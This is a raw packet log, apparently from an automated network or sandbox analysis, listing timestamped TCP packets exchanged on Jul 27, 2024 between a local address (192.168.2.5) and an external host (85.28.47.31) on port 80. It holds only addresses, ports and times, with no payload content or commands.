Jul 27, 2024 12:01:08.663635015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.664203882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.664237022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.664264917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.664269924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.664287090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.664299965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.664330006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.664331913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.664355993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.664365053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.664381027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.664397955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.664422035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.664448023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.664978027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.665016890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.665040016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.665055037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.665088892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.665092945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.665117979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.665138960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.668287992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.668356895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.668438911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.668471098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.668510914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.668526888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.668541908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.668581009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.668607950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.668632030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.668773890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.668807030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.668838024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.668840885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.668858051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.668888092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669392109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669424057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669456005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669456959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669483900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669490099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669502020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669523954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669550896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669557095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669569969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669612885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669621944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669653893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669677973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669703007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669830084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669883966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.669950008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.669984102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670015097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670049906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670149088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670200109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670201063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670233011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670257092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670264959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670280933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670314074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670639038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670670986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670702934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670705080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670731068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670736074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670748949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670768976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670797110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670804024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.670815945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.670859098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.671267033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.671299934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.671328068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.671333075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.671350956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.671365976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.671380997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.671397924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.671425104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.671432972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.671442032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.671466112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.671482086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.671514988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.671881914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.671943903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.751318932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.751422882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.751456022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.751518011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.751530886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.751564026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.751570940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.751595974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.751624107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.751631021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.751655102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.751693010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.752010107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.752042055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.752075911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.752075911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.752113104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.752130985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.752691984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.752754927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.752774954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.752809048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.752835989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.752860069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.753038883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.753072023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.753104925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.753133059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.753226995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.753287077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.753446102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.753478050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.753510952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.753511906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.753536940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.753546953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.753561974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.753596067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754071951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754133940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754236937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754270077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754298925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754301071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754326105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754333973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754359007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754368067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754381895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754415035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754844904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754878998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754909992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754911900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754937887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754945993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.754961014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.754978895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755006075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755012989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755029917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755050898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755081892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755100965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755697012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755731106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755759954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755763054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755788088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755795956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755812883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755829096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755846024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755861998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755888939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755893946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.755909920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.755943060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.756597042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.756659031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.756756067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.756789923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.756818056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.756822109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.756845951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.756855011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.756871939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.756889105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.756906033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.756923914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.756941080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.756973982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.757406950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.757441044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.757471085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.757473946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.757504940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.757507086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.757524014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.757539988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.757565022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.757571936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.757587910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.757621050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.758225918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.758259058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.758287907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.758291960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.758316040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.758325100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.758351088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.758358002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.758371115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.758390903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.758415937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.758424044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.758440971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.758474112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.758976936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759010077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759042978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.759043932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759071112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.759078026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759103060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.759109974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759125948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.759141922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759159088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.759175062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759201050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.759207964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759223938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.759239912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759255886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.759299040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.759918928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759957075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759989977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.759996891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.760018110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.760021925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.760049105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.760072947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.760073900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.760107994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.760124922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.760140896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.760164022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.760173082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.760200024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.760206938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.760225058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.760260105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761085987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761120081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761156082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761163950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761187077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761189938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761218071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761224031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761250973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761260033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761286974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761293888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761311054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761327028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761353016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761359930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761374950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761408091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761682034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761714935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761746883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761761904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761780024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761784077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761806011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761811018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761840105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761842966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761861086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761876106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761893034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761909008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761929989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761944056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.761962891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.761996031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762006044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762151957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762578011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762626886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762639999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762658119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762676001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762691975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762718916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762725115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762741089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762758017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762775898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762792110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762809038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762825012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762850046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762856960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762875080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762888908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.762906075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.762950897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.763422966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.763438940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.763456106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.763470888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.763478041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.763484955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.763499975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.763508081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.763561010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.869107008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.869163990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.869196892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.869235039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.869270086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.869488955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.869522095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.869554996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.869560003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.869595051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.869652033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.869731903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.869764090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.869791031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.869796038 CEST	80	49704	85.28.47.31	192.168.2.5
